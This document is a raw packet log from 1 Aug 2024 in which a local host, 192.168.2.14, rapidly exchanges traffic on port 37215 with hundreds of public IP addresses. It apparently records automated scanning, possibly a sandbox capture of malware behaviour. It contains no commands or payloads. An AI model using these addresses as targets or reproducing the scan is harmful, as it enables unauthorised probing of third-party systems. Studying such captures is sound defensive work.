Aug 1, 2024 15:34:55.614537954 CEST	37215	47767	41.52.68.112	192.168.2.14
Aug 1, 2024 15:34:55.614559889 CEST	47767	37215	192.168.2.14	157.50.111.252
Aug 1, 2024 15:34:55.614562988 CEST	47767	37215	192.168.2.14	41.195.89.110
Aug 1, 2024 15:34:55.614577055 CEST	47767	37215	192.168.2.14	41.52.68.112
Aug 1, 2024 15:34:55.614689112 CEST	37215	47767	197.140.214.238	192.168.2.14
Aug 1, 2024 15:34:55.614698887 CEST	37215	47767	50.105.210.186	192.168.2.14
Aug 1, 2024 15:34:55.614707947 CEST	37215	47767	41.136.40.229	192.168.2.14
Aug 1, 2024 15:34:55.614712954 CEST	37215	47767	197.22.91.186	192.168.2.14
Aug 1, 2024 15:34:55.614723921 CEST	37215	47767	157.82.166.146	192.168.2.14
Aug 1, 2024 15:34:55.614728928 CEST	47767	37215	192.168.2.14	197.140.214.238
Aug 1, 2024 15:34:55.614737034 CEST	37215	47767	157.55.195.165	192.168.2.14
Aug 1, 2024 15:34:55.614743948 CEST	47767	37215	192.168.2.14	41.136.40.229
Aug 1, 2024 15:34:55.614748001 CEST	37215	47767	197.7.192.223	192.168.2.14
Aug 1, 2024 15:34:55.614751101 CEST	47767	37215	192.168.2.14	50.105.210.186
Aug 1, 2024 15:34:55.614751101 CEST	47767	37215	192.168.2.14	197.22.91.186
Aug 1, 2024 15:34:55.614758968 CEST	37215	47767	197.178.98.18	192.168.2.14
Aug 1, 2024 15:34:55.614772081 CEST	37215	47767	41.12.56.133	192.168.2.14
Aug 1, 2024 15:34:55.614778042 CEST	47767	37215	192.168.2.14	157.55.195.165
Aug 1, 2024 15:34:55.614782095 CEST	37215	47767	157.245.55.144	192.168.2.14
Aug 1, 2024 15:34:55.614789963 CEST	47767	37215	192.168.2.14	157.82.166.146
Aug 1, 2024 15:34:55.614794970 CEST	37215	47767	41.253.109.200	192.168.2.14
Aug 1, 2024 15:34:55.614797115 CEST	47767	37215	192.168.2.14	197.7.192.223
Aug 1, 2024 15:34:55.614798069 CEST	47767	37215	192.168.2.14	197.178.98.18
Aug 1, 2024 15:34:55.614804983 CEST	37215	47767	41.181.182.128	192.168.2.14
Aug 1, 2024 15:34:55.614809036 CEST	47767	37215	192.168.2.14	41.12.56.133
Aug 1, 2024 15:34:55.614830017 CEST	47767	37215	192.168.2.14	157.245.55.144
Aug 1, 2024 15:34:55.614830971 CEST	47767	37215	192.168.2.14	41.253.109.200
Aug 1, 2024 15:34:55.614857912 CEST	47767	37215	192.168.2.14	41.181.182.128
Aug 1, 2024 15:34:55.615437031 CEST	57376	37215	192.168.2.14	157.180.101.63
Aug 1, 2024 15:34:55.616231918 CEST	37215	47767	41.245.221.196	192.168.2.14
Aug 1, 2024 15:34:55.616241932 CEST	37215	47767	197.76.15.2	192.168.2.14
Aug 1, 2024 15:34:55.616250992 CEST	37215	47767	157.11.120.78	192.168.2.14
Aug 1, 2024 15:34:55.616260052 CEST	37215	47767	48.9.88.210	192.168.2.14
Aug 1, 2024 15:34:55.616269112 CEST	47767	37215	192.168.2.14	41.245.221.196
Aug 1, 2024 15:34:55.616290092 CEST	47767	37215	192.168.2.14	197.76.15.2
Aug 1, 2024 15:34:55.616290092 CEST	47767	37215	192.168.2.14	48.9.88.210
Aug 1, 2024 15:34:55.616297007 CEST	47767	37215	192.168.2.14	157.11.120.78
Aug 1, 2024 15:34:55.616306067 CEST	37215	47767	41.129.181.146	192.168.2.14
Aug 1, 2024 15:34:55.616348982 CEST	47767	37215	192.168.2.14	41.129.181.146
Aug 1, 2024 15:34:55.616354942 CEST	37215	47767	157.174.193.202	192.168.2.14
Aug 1, 2024 15:34:55.616383076 CEST	37215	47767	32.86.32.55	192.168.2.14
Aug 1, 2024 15:34:55.616393089 CEST	37215	47767	41.149.59.32	192.168.2.14
Aug 1, 2024 15:34:55.616391897 CEST	47767	37215	192.168.2.14	157.174.193.202
Aug 1, 2024 15:34:55.616425991 CEST	47767	37215	192.168.2.14	41.149.59.32
Aug 1, 2024 15:34:55.616425991 CEST	47767	37215	192.168.2.14	32.86.32.55
Aug 1, 2024 15:34:55.616508007 CEST	37215	47767	18.51.190.110	192.168.2.14
Aug 1, 2024 15:34:55.616518021 CEST	37215	47767	197.93.14.129	192.168.2.14
Aug 1, 2024 15:34:55.616527081 CEST	37215	47767	197.89.67.240	192.168.2.14
Aug 1, 2024 15:34:55.616538048 CEST	37215	47767	41.178.18.169	192.168.2.14
Aug 1, 2024 15:34:55.616547108 CEST	37215	47767	41.245.245.77	192.168.2.14
Aug 1, 2024 15:34:55.616548061 CEST	47767	37215	192.168.2.14	18.51.190.110
Aug 1, 2024 15:34:55.616556883 CEST	37215	47767	197.109.134.120	192.168.2.14
Aug 1, 2024 15:34:55.616569042 CEST	37215	47767	120.3.86.199	192.168.2.14
Aug 1, 2024 15:34:55.616570950 CEST	47767	37215	192.168.2.14	197.89.67.240
Aug 1, 2024 15:34:55.616570950 CEST	47767	37215	192.168.2.14	41.178.18.169
Aug 1, 2024 15:34:55.616578102 CEST	37215	47767	197.71.7.137	192.168.2.14
Aug 1, 2024 15:34:55.616579056 CEST	47767	37215	192.168.2.14	41.245.245.77
Aug 1, 2024 15:34:55.616580009 CEST	47767	37215	192.168.2.14	197.93.14.129
Aug 1, 2024 15:34:55.616586924 CEST	47767	37215	192.168.2.14	197.109.134.120
Aug 1, 2024 15:34:55.616589069 CEST	37215	47767	197.72.215.189	192.168.2.14
Aug 1, 2024 15:34:55.616597891 CEST	37215	47767	41.81.127.242	192.168.2.14
Aug 1, 2024 15:34:55.616607904 CEST	37215	47767	197.118.211.9	192.168.2.14
Aug 1, 2024 15:34:55.616610050 CEST	47767	37215	192.168.2.14	120.3.86.199
Aug 1, 2024 15:34:55.616614103 CEST	47767	37215	192.168.2.14	197.71.7.137
Aug 1, 2024 15:34:55.616631985 CEST	37215	47767	197.216.84.14	192.168.2.14
Aug 1, 2024 15:34:55.616640091 CEST	47767	37215	192.168.2.14	197.72.215.189
Aug 1, 2024 15:34:55.616642952 CEST	37215	47767	77.79.131.118	192.168.2.14
Aug 1, 2024 15:34:55.616646051 CEST	47767	37215	192.168.2.14	41.81.127.242
Aug 1, 2024 15:34:55.616652966 CEST	37215	47767	157.181.78.169	192.168.2.14
Aug 1, 2024 15:34:55.616657972 CEST	47767	37215	192.168.2.14	197.118.211.9
Aug 1, 2024 15:34:55.616662979 CEST	37215	47767	34.111.57.226	192.168.2.14
Aug 1, 2024 15:34:55.616672039 CEST	37215	47767	157.28.212.140	192.168.2.14
Aug 1, 2024 15:34:55.616672039 CEST	47767	37215	192.168.2.14	197.216.84.14
Aug 1, 2024 15:34:55.616676092 CEST	47767	37215	192.168.2.14	77.79.131.118
Aug 1, 2024 15:34:55.616695881 CEST	47767	37215	192.168.2.14	34.111.57.226
Aug 1, 2024 15:34:55.616698980 CEST	47767	37215	192.168.2.14	157.181.78.169
Aug 1, 2024 15:34:55.616784096 CEST	47767	37215	192.168.2.14	157.28.212.140
Aug 1, 2024 15:34:55.617449045 CEST	37215	47767	41.18.169.53	192.168.2.14
Aug 1, 2024 15:34:55.617460012 CEST	37215	47767	41.53.222.120	192.168.2.14
Aug 1, 2024 15:34:55.617470026 CEST	37215	47767	100.171.15.99	192.168.2.14
Aug 1, 2024 15:34:55.617497921 CEST	47767	37215	192.168.2.14	41.53.222.120
Aug 1, 2024 15:34:55.617511034 CEST	47767	37215	192.168.2.14	41.18.169.53
Aug 1, 2024 15:34:55.617569923 CEST	47767	37215	192.168.2.14	100.171.15.99
Aug 1, 2024 15:34:55.617584944 CEST	37215	47767	41.220.120.196	192.168.2.14
Aug 1, 2024 15:34:55.617595911 CEST	37215	47767	123.228.62.132	192.168.2.14
Aug 1, 2024 15:34:55.617607117 CEST	37215	47767	161.245.2.132	192.168.2.14
Aug 1, 2024 15:34:55.617616892 CEST	37215	47767	197.180.2.94	192.168.2.14
Aug 1, 2024 15:34:55.617630959 CEST	47767	37215	192.168.2.14	123.228.62.132
Aug 1, 2024 15:34:55.617631912 CEST	47767	37215	192.168.2.14	41.220.120.196
Aug 1, 2024 15:34:55.617650986 CEST	47767	37215	192.168.2.14	161.245.2.132
Aug 1, 2024 15:34:55.617660999 CEST	47767	37215	192.168.2.14	197.180.2.94
Aug 1, 2024 15:34:55.617683887 CEST	37215	47767	157.255.47.59	192.168.2.14
Aug 1, 2024 15:34:55.617695093 CEST	37215	47767	41.217.76.226	192.168.2.14
Aug 1, 2024 15:34:55.617703915 CEST	37215	47767	151.46.202.37	192.168.2.14
Aug 1, 2024 15:34:55.617713928 CEST	37215	47767	157.62.60.217	192.168.2.14
Aug 1, 2024 15:34:55.617722988 CEST	47767	37215	192.168.2.14	157.255.47.59
Aug 1, 2024 15:34:55.617723942 CEST	37215	47767	197.214.240.103	192.168.2.14
Aug 1, 2024 15:34:55.617736101 CEST	37215	47767	86.18.37.184	192.168.2.14
Aug 1, 2024 15:34:55.617737055 CEST	47767	37215	192.168.2.14	41.217.76.226
Aug 1, 2024 15:34:55.617743015 CEST	47767	37215	192.168.2.14	157.62.60.217
Aug 1, 2024 15:34:55.617744923 CEST	37215	47767	41.214.248.166	192.168.2.14
Aug 1, 2024 15:34:55.617754936 CEST	37215	47767	157.195.129.151	192.168.2.14
Aug 1, 2024 15:34:55.617754936 CEST	47767	37215	192.168.2.14	151.46.202.37
Aug 1, 2024 15:34:55.617764950 CEST	37215	47767	41.33.176.5	192.168.2.14
Aug 1, 2024 15:34:55.617775917 CEST	47767	37215	192.168.2.14	197.214.240.103
Aug 1, 2024 15:34:55.617777109 CEST	47767	37215	192.168.2.14	86.18.37.184
Aug 1, 2024 15:34:55.617783070 CEST	37215	47767	41.246.7.205	192.168.2.14
Aug 1, 2024 15:34:55.617794037 CEST	37215	47767	41.91.136.10	192.168.2.14
Aug 1, 2024 15:34:55.617794991 CEST	47767	37215	192.168.2.14	41.33.176.5
Aug 1, 2024 15:34:55.617796898 CEST	47767	37215	192.168.2.14	41.214.248.166
Aug 1, 2024 15:34:55.617799997 CEST	47767	37215	192.168.2.14	157.195.129.151
Aug 1, 2024 15:34:55.617811918 CEST	37215	47767	41.228.203.36	192.168.2.14
Aug 1, 2024 15:34:55.617820024 CEST	47767	37215	192.168.2.14	41.246.7.205
Aug 1, 2024 15:34:55.617822886 CEST	37215	47767	218.226.100.89	192.168.2.14
Aug 1, 2024 15:34:55.617834091 CEST	37215	47767	157.161.178.134	192.168.2.14
Aug 1, 2024 15:34:55.617840052 CEST	36870	37215	192.168.2.14	41.221.227.83
Aug 1, 2024 15:34:55.617842913 CEST	37215	47767	35.123.133.206	192.168.2.14
Aug 1, 2024 15:34:55.617851973 CEST	47767	37215	192.168.2.14	41.228.203.36
Aug 1, 2024 15:34:55.617851973 CEST	37215	47767	158.42.132.93	192.168.2.14
Aug 1, 2024 15:34:55.617860079 CEST	47767	37215	192.168.2.14	41.91.136.10
Aug 1, 2024 15:34:55.617861986 CEST	47767	37215	192.168.2.14	218.226.100.89
Aug 1, 2024 15:34:55.617861986 CEST	47767	37215	192.168.2.14	157.161.178.134
Aug 1, 2024 15:34:55.617873907 CEST	47767	37215	192.168.2.14	35.123.133.206
Aug 1, 2024 15:34:55.617891073 CEST	47767	37215	192.168.2.14	158.42.132.93
Aug 1, 2024 15:34:55.619523048 CEST	37215	47767	157.208.187.86	192.168.2.14
Aug 1, 2024 15:34:55.619534016 CEST	37215	47767	41.160.218.197	192.168.2.14
Aug 1, 2024 15:34:55.619543076 CEST	37215	47767	78.225.111.106	192.168.2.14
Aug 1, 2024 15:34:55.619566917 CEST	47767	37215	192.168.2.14	157.208.187.86
Aug 1, 2024 15:34:55.619568110 CEST	47767	37215	192.168.2.14	41.160.218.197
Aug 1, 2024 15:34:55.619573116 CEST	47767	37215	192.168.2.14	78.225.111.106
Aug 1, 2024 15:34:55.619661093 CEST	37215	47767	197.212.217.65	192.168.2.14
Aug 1, 2024 15:34:55.619673014 CEST	37215	47767	23.94.128.249	192.168.2.14
Aug 1, 2024 15:34:55.619682074 CEST	37215	47767	157.89.187.111	192.168.2.14
Aug 1, 2024 15:34:55.619692087 CEST	37215	47767	41.247.123.24	192.168.2.14
Aug 1, 2024 15:34:55.619700909 CEST	37215	47767	157.16.242.163	192.168.2.14
Aug 1, 2024 15:34:55.619704962 CEST	47767	37215	192.168.2.14	197.212.217.65
Aug 1, 2024 15:34:55.619718075 CEST	37215	47767	157.70.160.54	192.168.2.14
Aug 1, 2024 15:34:55.619724035 CEST	47767	37215	192.168.2.14	157.89.187.111
Aug 1, 2024 15:34:55.619725943 CEST	47767	37215	192.168.2.14	157.16.242.163
Aug 1, 2024 15:34:55.619726896 CEST	47767	37215	192.168.2.14	23.94.128.249
Aug 1, 2024 15:34:55.619729042 CEST	37215	47767	157.175.181.147	192.168.2.14
Aug 1, 2024 15:34:55.619735003 CEST	47767	37215	192.168.2.14	41.247.123.24
Aug 1, 2024 15:34:55.619739056 CEST	37215	47767	41.46.5.60	192.168.2.14
Aug 1, 2024 15:34:55.619750023 CEST	37215	47767	76.77.11.86	192.168.2.14
Aug 1, 2024 15:34:55.619760036 CEST	37215	47767	157.191.145.33	192.168.2.14
Aug 1, 2024 15:34:55.619769096 CEST	37215	47767	41.225.102.147	192.168.2.14
Aug 1, 2024 15:34:55.619779110 CEST	37215	47767	197.135.27.159	192.168.2.14
Aug 1, 2024 15:34:55.619787931 CEST	37215	47767	157.58.87.200	192.168.2.14
Aug 1, 2024 15:34:55.619790077 CEST	47767	37215	192.168.2.14	157.70.160.54
Aug 1, 2024 15:34:55.619790077 CEST	47767	37215	192.168.2.14	76.77.11.86
Aug 1, 2024 15:34:55.619790077 CEST	47767	37215	192.168.2.14	41.46.5.60
Aug 1, 2024 15:34:55.619790077 CEST	47767	37215	192.168.2.14	157.191.145.33
Aug 1, 2024 15:34:55.619798899 CEST	37215	47767	157.38.42.196	192.168.2.14
Aug 1, 2024 15:34:55.619808912 CEST	37215	47767	41.234.224.198	192.168.2.14
Aug 1, 2024 15:34:55.619815111 CEST	47767	37215	192.168.2.14	41.225.102.147
Aug 1, 2024 15:34:55.619820118 CEST	37215	47767	23.173.38.252	192.168.2.14
Aug 1, 2024 15:34:55.619831085 CEST	37215	47767	197.33.230.31	192.168.2.14
Aug 1, 2024 15:34:55.619832039 CEST	47767	37215	192.168.2.14	157.58.87.200
Aug 1, 2024 15:34:55.619841099 CEST	37215	47767	197.76.14.84	192.168.2.14
Aug 1, 2024 15:34:55.619851112 CEST	47767	37215	192.168.2.14	41.234.224.198
Aug 1, 2024 15:34:55.619853020 CEST	47767	37215	192.168.2.14	197.135.27.159
Aug 1, 2024 15:34:55.619860888 CEST	37215	47767	197.219.199.86	192.168.2.14
Aug 1, 2024 15:34:55.619865894 CEST	47767	37215	192.168.2.14	23.173.38.252
Aug 1, 2024 15:34:55.619865894 CEST	47767	37215	192.168.2.14	157.38.42.196
Aug 1, 2024 15:34:55.619872093 CEST	37215	47767	157.73.41.164	192.168.2.14
Aug 1, 2024 15:34:55.619873047 CEST	47767	37215	192.168.2.14	197.33.230.31
Aug 1, 2024 15:34:55.619873047 CEST	47767	37215	192.168.2.14	197.76.14.84
Aug 1, 2024 15:34:55.619884014 CEST	37215	47767	157.202.57.167	192.168.2.14
Aug 1, 2024 15:34:55.619904995 CEST	47767	37215	192.168.2.14	157.175.181.147
Aug 1, 2024 15:34:55.619915009 CEST	47767	37215	192.168.2.14	197.219.199.86
Aug 1, 2024 15:34:55.619915009 CEST	47767	37215	192.168.2.14	157.73.41.164
Aug 1, 2024 15:34:55.619946957 CEST	47767	37215	192.168.2.14	157.202.57.167
Aug 1, 2024 15:34:55.620476961 CEST	55220	37215	192.168.2.14	77.89.16.248
Aug 1, 2024 15:34:55.620646000 CEST	37215	47767	157.109.34.164	192.168.2.14
Aug 1, 2024 15:34:55.620690107 CEST	47767	37215	192.168.2.14	157.109.34.164
Aug 1, 2024 15:34:55.620753050 CEST	37215	47767	197.201.23.158	192.168.2.14
Aug 1, 2024 15:34:55.620801926 CEST	47767	37215	192.168.2.14	197.201.23.158
Aug 1, 2024 15:34:55.620909929 CEST	37215	47767	211.78.130.164	192.168.2.14
Aug 1, 2024 15:34:55.620924950 CEST	37215	47767	169.132.59.26	192.168.2.14
Aug 1, 2024 15:34:55.620953083 CEST	47767	37215	192.168.2.14	211.78.130.164
Aug 1, 2024 15:34:55.621022940 CEST	47767	37215	192.168.2.14	169.132.59.26
Aug 1, 2024 15:34:55.622401953 CEST	37215	47767	41.167.1.18	192.168.2.14
Aug 1, 2024 15:34:55.622416973 CEST	37215	47767	65.126.194.229	192.168.2.14
Aug 1, 2024 15:34:55.622458935 CEST	47767	37215	192.168.2.14	65.126.194.229
Aug 1, 2024 15:34:55.622461081 CEST	47767	37215	192.168.2.14	41.167.1.18
Aug 1, 2024 15:34:55.622464895 CEST	37215	47767	41.222.247.13	192.168.2.14
Aug 1, 2024 15:34:55.622479916 CEST	37215	47767	41.113.19.213	192.168.2.14
Aug 1, 2024 15:34:55.622494936 CEST	37215	47767	197.75.226.1	192.168.2.14
Aug 1, 2024 15:34:55.622507095 CEST	47767	37215	192.168.2.14	41.222.247.13
Aug 1, 2024 15:34:55.622509003 CEST	37215	47767	157.23.196.255	192.168.2.14
Aug 1, 2024 15:34:55.622528076 CEST	47767	37215	192.168.2.14	41.113.19.213
Aug 1, 2024 15:34:55.622529984 CEST	47767	37215	192.168.2.14	197.75.226.1
Aug 1, 2024 15:34:55.622534990 CEST	37215	47767	41.25.92.177	192.168.2.14
Aug 1, 2024 15:34:55.622550011 CEST	37215	47767	41.95.168.143	192.168.2.14
Aug 1, 2024 15:34:55.622550011 CEST	47767	37215	192.168.2.14	157.23.196.255
Aug 1, 2024 15:34:55.622564077 CEST	37215	47767	41.177.172.89	192.168.2.14
Aug 1, 2024 15:34:55.622581959 CEST	37215	47767	157.202.9.150	192.168.2.14
Aug 1, 2024 15:34:55.622586012 CEST	47767	37215	192.168.2.14	41.25.92.177
Aug 1, 2024 15:34:55.622595072 CEST	47767	37215	192.168.2.14	41.177.172.89
Aug 1, 2024 15:34:55.622595072 CEST	47767	37215	192.168.2.14	41.95.168.143
Aug 1, 2024 15:34:55.622596979 CEST	37215	47767	157.95.98.110	192.168.2.14
Aug 1, 2024 15:34:55.622622013 CEST	37215	47767	197.112.58.211	192.168.2.14
Aug 1, 2024 15:34:55.622625113 CEST	47767	37215	192.168.2.14	157.202.9.150
Aug 1, 2024 15:34:55.622649908 CEST	37215	47767	197.189.155.31	192.168.2.14
Aug 1, 2024 15:34:55.622652054 CEST	47767	37215	192.168.2.14	157.95.98.110
Aug 1, 2024 15:34:55.622663975 CEST	47767	37215	192.168.2.14	197.112.58.211
Aug 1, 2024 15:34:55.622663975 CEST	37215	47767	209.129.68.133	192.168.2.14
Aug 1, 2024 15:34:55.622678995 CEST	37215	47767	157.16.127.100	192.168.2.14
Aug 1, 2024 15:34:55.622684002 CEST	47767	37215	192.168.2.14	197.189.155.31
Aug 1, 2024 15:34:55.622694016 CEST	37215	47767	41.42.155.100	192.168.2.14
Aug 1, 2024 15:34:55.622705936 CEST	47767	37215	192.168.2.14	209.129.68.133
Aug 1, 2024 15:34:55.622706890 CEST	37215	47767	197.163.145.48	192.168.2.14
Aug 1, 2024 15:34:55.622721910 CEST	37215	47767	197.146.98.163	192.168.2.14
Aug 1, 2024 15:34:55.622730017 CEST	47767	37215	192.168.2.14	157.16.127.100
Aug 1, 2024 15:34:55.622730017 CEST	47767	37215	192.168.2.14	41.42.155.100
Aug 1, 2024 15:34:55.622746944 CEST	37215	47767	157.232.46.159	192.168.2.14
Aug 1, 2024 15:34:55.622757912 CEST	47767	37215	192.168.2.14	197.163.145.48
Aug 1, 2024 15:34:55.622761965 CEST	37215	47767	158.19.176.120	192.168.2.14
Aug 1, 2024 15:34:55.622776031 CEST	37215	47767	12.228.104.105	192.168.2.14
Aug 1, 2024 15:34:55.622778893 CEST	47767	37215	192.168.2.14	197.146.98.163
Aug 1, 2024 15:34:55.622790098 CEST	37215	47767	197.37.118.249	192.168.2.14
Aug 1, 2024 15:34:55.622795105 CEST	47767	37215	192.168.2.14	157.232.46.159
Aug 1, 2024 15:34:55.622795105 CEST	52480	37215	192.168.2.14	157.251.61.118
Aug 1, 2024 15:34:55.622798920 CEST	47767	37215	192.168.2.14	158.19.176.120
Aug 1, 2024 15:34:55.622802973 CEST	37215	47767	41.24.36.152	192.168.2.14
Aug 1, 2024 15:34:55.622817039 CEST	37215	47767	41.228.10.169	192.168.2.14
Aug 1, 2024 15:34:55.622819901 CEST	47767	37215	192.168.2.14	12.228.104.105
Aug 1, 2024 15:34:55.622827053 CEST	47767	37215	192.168.2.14	197.37.118.249
Aug 1, 2024 15:34:55.622832060 CEST	37215	47767	157.167.209.235	192.168.2.14
Aug 1, 2024 15:34:55.622837067 CEST	47767	37215	192.168.2.14	41.24.36.152
Aug 1, 2024 15:34:55.622845888 CEST	37215	47767	197.247.137.48	192.168.2.14
Aug 1, 2024 15:34:55.622859955 CEST	37215	47767	157.1.112.149	192.168.2.14
Aug 1, 2024 15:34:55.622864008 CEST	47767	37215	192.168.2.14	41.228.10.169
Aug 1, 2024 15:34:55.622884989 CEST	47767	37215	192.168.2.14	157.167.209.235
Aug 1, 2024 15:34:55.622905016 CEST	47767	37215	192.168.2.14	197.247.137.48
Aug 1, 2024 15:34:55.622908115 CEST	47767	37215	192.168.2.14	157.1.112.149
Aug 1, 2024 15:34:55.623970985 CEST	37215	47767	208.102.137.140	192.168.2.14
Aug 1, 2024 15:34:55.624017954 CEST	47767	37215	192.168.2.14	208.102.137.140
Aug 1, 2024 15:34:55.624165058 CEST	37215	47767	189.252.252.122	192.168.2.14
Aug 1, 2024 15:34:55.624209881 CEST	47767	37215	192.168.2.14	189.252.252.122
Aug 1, 2024 15:34:55.624238014 CEST	37215	47767	79.230.170.128	192.168.2.14
Aug 1, 2024 15:34:55.624252081 CEST	37215	47767	41.156.203.88	192.168.2.14
Aug 1, 2024 15:34:55.624267101 CEST	37215	47767	41.56.73.116	192.168.2.14
Aug 1, 2024 15:34:55.624280930 CEST	37215	47767	41.224.203.71	192.168.2.14
Aug 1, 2024 15:34:55.624286890 CEST	47767	37215	192.168.2.14	79.230.170.128
Aug 1, 2024 15:34:55.624300957 CEST	47767	37215	192.168.2.14	41.56.73.116
Aug 1, 2024 15:34:55.624315977 CEST	47767	37215	192.168.2.14	41.224.203.71
Aug 1, 2024 15:34:55.624341965 CEST	47767	37215	192.168.2.14	41.156.203.88
Aug 1, 2024 15:34:55.624396086 CEST	37215	47767	41.164.83.198	192.168.2.14
Aug 1, 2024 15:34:55.624409914 CEST	37215	47767	197.172.135.161	192.168.2.14
Aug 1, 2024 15:34:55.624423981 CEST	37215	47767	157.50.37.238	192.168.2.14
Aug 1, 2024 15:34:55.624439001 CEST	37215	47767	197.89.20.23	192.168.2.14
Aug 1, 2024 15:34:55.624442101 CEST	47767	37215	192.168.2.14	41.164.83.198
Aug 1, 2024 15:34:55.624443054 CEST	47767	37215	192.168.2.14	197.172.135.161
Aug 1, 2024 15:34:55.624452114 CEST	37215	47767	197.197.35.227	192.168.2.14
Aug 1, 2024 15:34:55.624465942 CEST	37215	47767	157.200.6.117	192.168.2.14
Aug 1, 2024 15:34:55.624470949 CEST	47767	37215	192.168.2.14	157.50.37.238
Aug 1, 2024 15:34:55.624480009 CEST	37215	47767	157.120.166.175	192.168.2.14
Aug 1, 2024 15:34:55.624500036 CEST	47767	37215	192.168.2.14	197.89.20.23
Aug 1, 2024 15:34:55.624500990 CEST	47767	37215	192.168.2.14	157.200.6.117
Aug 1, 2024 15:34:55.624501944 CEST	37215	47767	209.108.139.20	192.168.2.14
Aug 1, 2024 15:34:55.624505997 CEST	47767	37215	192.168.2.14	197.197.35.227
Aug 1, 2024 15:34:55.624517918 CEST	37215	47767	154.93.222.15	192.168.2.14
Aug 1, 2024 15:34:55.624536037 CEST	47767	37215	192.168.2.14	157.120.166.175
Aug 1, 2024 15:34:55.624545097 CEST	37215	47767	93.91.184.242	192.168.2.14
Aug 1, 2024 15:34:55.624547005 CEST	47767	37215	192.168.2.14	209.108.139.20
Aug 1, 2024 15:34:55.624553919 CEST	47767	37215	192.168.2.14	154.93.222.15
Aug 1, 2024 15:34:55.624558926 CEST	37215	47767	41.59.14.149	192.168.2.14
Aug 1, 2024 15:34:55.624572992 CEST	37215	47767	35.210.95.161	192.168.2.14
Aug 1, 2024 15:34:55.624588013 CEST	47767	37215	192.168.2.14	41.59.14.149
Aug 1, 2024 15:34:55.624588013 CEST	37215	47767	157.83.146.198	192.168.2.14
Aug 1, 2024 15:34:55.624589920 CEST	47767	37215	192.168.2.14	93.91.184.242
Aug 1, 2024 15:34:55.624602079 CEST	37215	47767	157.68.175.231	192.168.2.14
Aug 1, 2024 15:34:55.624613047 CEST	47767	37215	192.168.2.14	35.210.95.161
Aug 1, 2024 15:34:55.624617100 CEST	37215	47767	157.145.120.11	192.168.2.14
Aug 1, 2024 15:34:55.624629974 CEST	37215	47767	157.166.18.31	192.168.2.14
Aug 1, 2024 15:34:55.624633074 CEST	47767	37215	192.168.2.14	157.83.146.198
Aug 1, 2024 15:34:55.624643087 CEST	47767	37215	192.168.2.14	157.68.175.231
Aug 1, 2024 15:34:55.624644041 CEST	37215	47767	197.242.251.98	192.168.2.14
Aug 1, 2024 15:34:55.624648094 CEST	47767	37215	192.168.2.14	157.145.120.11
Aug 1, 2024 15:34:55.624658108 CEST	37215	47767	157.78.51.161	192.168.2.14
Aug 1, 2024 15:34:55.624670982 CEST	37215	47767	187.58.135.175	192.168.2.14
Aug 1, 2024 15:34:55.624680996 CEST	47767	37215	192.168.2.14	157.166.18.31
Aug 1, 2024 15:34:55.624682903 CEST	47767	37215	192.168.2.14	197.242.251.98
Aug 1, 2024 15:34:55.624686003 CEST	37215	47767	197.163.199.37	192.168.2.14
Aug 1, 2024 15:34:55.624695063 CEST	47767	37215	192.168.2.14	157.78.51.161
Aug 1, 2024 15:34:55.624713898 CEST	47767	37215	192.168.2.14	187.58.135.175
Aug 1, 2024 15:34:55.624757051 CEST	47767	37215	192.168.2.14	197.163.199.37
Aug 1, 2024 15:34:55.625127077 CEST	45636	37215	192.168.2.14	41.92.13.87
Aug 1, 2024 15:34:55.625622988 CEST	37215	47767	157.36.23.142	192.168.2.14
Aug 1, 2024 15:34:55.625653028 CEST	37215	47767	41.38.254.96	192.168.2.14
Aug 1, 2024 15:34:55.625663996 CEST	47767	37215	192.168.2.14	157.36.23.142
Aug 1, 2024 15:34:55.625668049 CEST	37215	47767	157.101.208.170	192.168.2.14
Aug 1, 2024 15:34:55.625684977 CEST	37215	47767	177.123.195.34	192.168.2.14
Aug 1, 2024 15:34:55.625694990 CEST	47767	37215	192.168.2.14	41.38.254.96
Aug 1, 2024 15:34:55.625699997 CEST	37215	47767	41.167.37.110	192.168.2.14
Aug 1, 2024 15:34:55.625725985 CEST	47767	37215	192.168.2.14	177.123.195.34
Aug 1, 2024 15:34:55.625727892 CEST	37215	47767	197.46.39.95	192.168.2.14
Aug 1, 2024 15:34:55.625739098 CEST	47767	37215	192.168.2.14	157.101.208.170
Aug 1, 2024 15:34:55.625741959 CEST	37215	47767	42.16.242.248	192.168.2.14
Aug 1, 2024 15:34:55.625756025 CEST	47767	37215	192.168.2.14	41.167.37.110
Aug 1, 2024 15:34:55.625756979 CEST	37215	47767	41.71.119.50	192.168.2.14
Aug 1, 2024 15:34:55.625770092 CEST	47767	37215	192.168.2.14	197.46.39.95
Aug 1, 2024 15:34:55.625771046 CEST	37215	47767	101.161.32.41	192.168.2.14
Aug 1, 2024 15:34:55.625775099 CEST	47767	37215	192.168.2.14	42.16.242.248
Aug 1, 2024 15:34:55.625785112 CEST	37215	47767	197.245.70.22	192.168.2.14
Aug 1, 2024 15:34:55.625798941 CEST	37215	47767	96.196.248.78	192.168.2.14
Aug 1, 2024 15:34:55.625807047 CEST	47767	37215	192.168.2.14	101.161.32.41
Aug 1, 2024 15:34:55.625817060 CEST	47767	37215	192.168.2.14	41.71.119.50
Aug 1, 2024 15:34:55.625824928 CEST	47767	37215	192.168.2.14	197.245.70.22
Aug 1, 2024 15:34:55.625838995 CEST	47767	37215	192.168.2.14	96.196.248.78
Aug 1, 2024 15:34:55.626048088 CEST	37215	47767	121.5.225.114	192.168.2.14
Aug 1, 2024 15:34:55.626063108 CEST	37215	47767	190.16.105.176	192.168.2.14
Aug 1, 2024 15:34:55.626080990 CEST	37215	47767	197.198.62.240	192.168.2.14
Aug 1, 2024 15:34:55.626087904 CEST	47767	37215	192.168.2.14	121.5.225.114
Aug 1, 2024 15:34:55.626095057 CEST	37215	47767	41.35.228.34	192.168.2.14
Aug 1, 2024 15:34:55.626120090 CEST	47767	37215	192.168.2.14	197.198.62.240
Aug 1, 2024 15:34:55.626120090 CEST	37215	47767	136.213.25.136	192.168.2.14
Aug 1, 2024 15:34:55.626122952 CEST	47767	37215	192.168.2.14	41.35.228.34
Aug 1, 2024 15:34:55.626137018 CEST	37215	47767	77.111.31.146	192.168.2.14
Aug 1, 2024 15:34:55.626142979 CEST	47767	37215	192.168.2.14	190.16.105.176
Aug 1, 2024 15:34:55.626153946 CEST	37215	47767	41.177.58.88	192.168.2.14
Aug 1, 2024 15:34:55.626166105 CEST	47767	37215	192.168.2.14	136.213.25.136
Aug 1, 2024 15:34:55.626168966 CEST	37215	47767	197.212.185.176	192.168.2.14
Aug 1, 2024 15:34:55.626177073 CEST	47767	37215	192.168.2.14	77.111.31.146
Aug 1, 2024 15:34:55.626190901 CEST	47767	37215	192.168.2.14	41.177.58.88
